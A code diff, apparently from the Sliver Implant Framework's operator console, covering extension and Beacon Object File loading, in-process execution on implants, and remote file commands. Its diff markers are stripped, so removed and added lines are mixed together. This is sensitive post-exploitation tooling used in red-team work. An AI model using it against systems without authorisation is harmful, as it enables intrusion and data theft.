||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
depBinData, err := ioutil.ReadFile(depBinPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, depExt, depBinData, session, ctx)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
if err = loadExtension(ctx, session, con, ext); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var args string
|
||||
if len(c.DefaultArgs) != 0 {
|
||||
args = c.DefaultArgs
|
||||
}
|
||||
if len(ctx.Args.StringList("arguments")) > 0 {
|
||||
args = strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
}
|
||||
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
@@ -249,86 +344,145 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(args, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddWString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
data, err := ioutil.ReadFile(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
err = extensionArgsBuffer.AddString(ext.Entrypoint)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(binData)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionArgs, err = extensionArgsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return extensionArgs, nil
|
||||
|
||||
}
|
||||
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
@@ -336,7 +490,3 @@ func cmdExists(name string, app *grumble.App) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extension)
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveExtensionByCommandName - Remove an extension by command name
|
||||
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; !ok {
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -20,6 +20,7 @@ package filesystem
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
@@ -27,16 +28,18 @@ import (
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CatCmd - Display the contents of a remote file
|
||||
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -47,13 +50,35 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
@@ -66,16 +91,12 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
if ctx.Flags.Bool("hex") {
|
||||
con.Println(hex.Dump(download.Data))
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
}
|
||||
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
|
||||
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
|
||||
// if err != nil {
|
||||
// con.PrintErrorf("Failed to save output as loot: %s", err)
|
||||
// } else {
|
||||
// fmt.Printf(clearln + Info + "Output saved as loot\n")
|
||||
// }
|
||||
// }
|
||||
}
|
||||
|
||||
func colorize(f *sliverpb.Download) error {
|
||||
|
||||
@@ -22,26 +22,40 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CdCmd - Change directory on the remote system
|
||||
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
@@ -25,18 +25,20 @@ import (
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// DownloadCmd - Download a file from the remote system
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
@@ -76,7 +69,50 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDownload(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintDownload(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDownload - Print the download response, and save file to disk
|
||||
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
@@ -96,13 +132,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
}
|
||||
|
||||
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
|
||||
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
|
||||
// if err != nil {
|
||||
// con.PrintErrorf("Failed to save output as loot: %s", err)
|
||||
// } else {
|
||||
// fmt.Printf(Info + "Output saved as loot\n")
|
||||
// }
|
||||
// }
|
||||
}
|
||||
@@ -22,48 +22,183 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// LsCmd - List the contents of a remote directory
|
||||
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence+1]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if ls.Response != nil && ls.Response.Async {
|
||||
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, con)
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, fileInfo := range ls.Files {
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
|
||||
|
||||
// Extract the flags
|
||||
reverseSort := flags.Bool("reverse")
|
||||
sortByTime := flags.Bool("modified")
|
||||
sortBySize := flags.Bool("size")
|
||||
|
||||
/*
|
||||
By default, name sorting is case sensitive. Upper case entries come before
|
||||
lower case ones. Instead, we will level the playing field and sort
|
||||
regardless of case
|
||||
*/
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
}
|
||||
|
||||
/*
|
||||
After names are sorted properly, take care of the modified time if the
|
||||
user wants to sort by time. Doing this after sorting by name
|
||||
will make the time sorted entries properly sorted by name if times are equal.
|
||||
*/
|
||||
|
||||
if sortByTime {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime > ls.Files[j].ModTime
|
||||
})
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime < ls.Files[j].ModTime
|
||||
})
|
||||
}
|
||||
} else if sortBySize {
|
||||
if reverseSort {
|
||||
